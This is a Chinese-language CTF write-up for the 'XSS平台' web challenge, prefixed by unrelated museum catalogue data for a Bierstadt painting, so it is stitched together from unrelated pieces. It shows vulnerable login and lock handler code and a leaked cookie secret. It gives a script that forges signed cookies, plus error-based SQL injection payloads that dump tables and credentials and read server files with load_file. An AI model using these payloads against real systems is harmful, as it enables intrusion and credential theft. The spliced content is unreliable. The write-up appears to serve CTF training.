Title: Rocky Mountains, “Lander’s Peak”
Creator: Albert Bierstadt
Date: 1863
Creator Lifespan: 1830 - 1902
Creator Nationality: American
Creator Death Place: New York, NY
Creator Birth Place: Solingen (near Dusseldorf), Germany
Physical Dimensions: w90.2 x h110.8 cm
Credit Line: Harvard Art Museums/Fogg Museum, Bequest of Mrs. William Hayes Fogg
Artist: Albert Bierstadt
Type: Paintings
Medium: Oil on linen
CTF竞赛题目类型主要包含 Web 网络攻防
、 Reverse 逆向工程
、 Pwn 二进制漏洞利用
、 Crypto 密码攻击
、 Mobile 移动安全
以及 Misc 安全杂项
这六个类别。
本文为web网络攻防方向。
赛题
初始来源
#“百度杯”CTF比赛# #九月场# #XSS平台#
赛题传送门
【赛题类型】—>【CTF训练】
【比赛名称】—>【全部】
【题目类型】—>【Web】
选择价值 50pt,类型为 Web,名称为【XSS平台】的题目:
解题过程
进入靶场环境后,是个登陆页面。随便输入常用sql注入代码:
发现没有任何提示报错和回显反应。
想了想找个题目叫XSS平台,会不会直接在链接上进行XSS攻击?
1
http://cfa2449c58da4f1d8e690ca3b2095b79ad569258d368438d.changame.ichunqiu.com/login?next=%2F#
于是乎,尝试在next后面加入xss攻击代码,也无果。
然后,看了看网页源码,发现了参数构造的js脚本代码,于是打开了burpsuite开始抓包:
到这里,第一反应修改post传递的参数和cookie中的参数值。然而,一顿操作后,Response并没有变化。
还是打CTF经验不足,这里花了一些时间。
后来才反应过来,修改值不行,可以修改参数名啊,思维还是需要更开放才行。
于是,修改email
参数名为emaill
,再发送,终于获得错误信息如下:
红框框出来的可以发现,这里用到了Python的tornado框架和一个叫rtiny的web框架,果断Google之。
很快在GitHub上发现了这个Rtiny-xss项目,原来这个题目就是用的这个框架搭建起来的。
立马clone代码,开始撸代码。
通过审计代码,发现login.py
中可能存在sql执行的函数的点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# login.py
class LoginHandler(tornado.web.RequestHandler):
def get(self):
if self.get_secure_cookie("username") and self.get_secure_cookie("password"):
self.redirect("/")
else:
self.render("login.html", url=URL)
def post(self):
self.set_header("Content-Type", "text/plain")
if True not in [f in self.get_argument("email") for f in sql]:
row = db.ct(
"manager",
"*", "username='"+self.get_argument("email")+"' and password='" + md5(self.get_argument('pass'))+"'")
if row:
self.set_secure_cookie("username", row['username'])
self.set_secure_cookie("password", row['password'])
self.write("true")
else:
self.write("false")
else:
self.write("false")
但是可惜的是,这里不是最佳注入点。
继续寻找,发现了lock.py
函数赤果果的使用了cookie值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# lock.py
class LockHandler(tornado.web.RequestHandler):
def get(self):
self.set_secure_cookie("lock",'1')
self.render("lock.html")
def post(self):
username = self.get_secure_cookie("username") or ''
passwd = md5(self.get_argument('password', ''))
row = db.ct("manager", "*", "username='" + username + "' and password='" + passwd + "'")
if row:
self.set_secure_cookie("lock", "0")
self.redirect("http://" + URL)
else:
self.redirect("http://" + URL + "/lock")
这里直接执行db.ct,其中通过get_secure_cookie("username")
获取到的username
直接拼接,password
是先做了md5后再拼接,并没有进行sql注入的防护。
但是username
则是通过self.set_secure_cookie("username", row['username'])
则进行了cookie加密。
突然意识到,这时50分的题目??是我太小看CTF的web方向了??
通过查阅set_secure_cookie
的代码,并进行rtiny的代码审计,在主目录的index.py
中找到了密钥:
"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
于是,直接利用该函数和密钥值,构造加密的sql注入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
import tornado.ioloop
settings = {
# "static_path": os.path.join(os.path.dirname(__file__), "themes/static"),
# "template_path": os.path.join(os.path.dirname(__file__), "themes"),
"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
# "login_url": "/login",
}
class LoginHandler(tornado.web.RequestHandler):
def get(self):
self.set_secure_cookie("username", value="' and extractvalue(1,concat(0x5c,(select version()))) -- ")
usr = self.get_secure_cookie("username")
self.write(usr)
application = tornado.web.Application([
(r"/login", LoginHandler),], **settings)
if __name__ == "__main__":
application.listen('8888', '127.0.0.1')
tornado.ioloop.IOLoop.instance().start()
上面构造了select version()
函数来测试sql注入能否成功。
浏览器访问http://127.0.0.1:8888/login
,F12打开调试器,在console输入document.cookie
,获取加密后的cookie
在登陆页面,用Burpsuite截取流量,放到repeater中。
修改/login
为/lock
,并将加密的username
放到cookie的中:
在response中得到版本信息,说明SQL注入语句成功执行。
呼,总算有些进展了~
尴尬的是,临时创建的靶场都超时了,无奈又创建一个…
下面来正式踏入漫长的SQL注入语句构造之旅:
-
查表名
1
' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))--
选择
manager
表 -
查属性名
1
' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))--
终于看到username和password了
-
查用户名密码
1
' and extractvalue(1,concat(0x5c,(select group_concat(username,'|',password,'|',email) from manager))) --
得到
username|password
:ichuqiu|318a61264482e503090facf
明显密码显示不全,达不到MD5加密后的32位
-
继续构造查询密码后几位
1
' and extractvalue(1,concat(0x5c,mid(select group_concat(username,'|',password,'|',email) from manager), 20, 54)) --
得到
2e503090facfc4337207f|545
与上一步拼接起来即为:
username|password|email
:ichuqiu|318a61264482e503090facfc4337207f|545
把密文丢到在线MD5解密得密码:
终于获得:
username
:ichuqiu
password
:Myxss623
输入用户名密码,登陆后台,查看file:
还是得通过SQL注入load_file
来获取flag
1
' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#
获取到flag的前半部分,同查询密码的步骤,获取flag的后半部分:
1
' and extractvalue(1,concat(0x5c,mid(select load_file('/var/www/html/f13g_ls_here.txt'), 20, 52)))#
拼接得到完整flag:flag{8a69155e-c420-4c21-917a-313d5ec65b0a}
至此,得到flag。
总结
这次题目难度适中,主要在于三个关键点。
第一个属于破题点,其在于利用参数key错误获取出错信息,来找到使用框架的漏洞;第二个比较关键的点是考察代码审计的功底;第三个就是SQL注入的熟练度。
如果对任何一个方面不熟悉的话,还是需要花费些许精力的,熟能生巧,加油!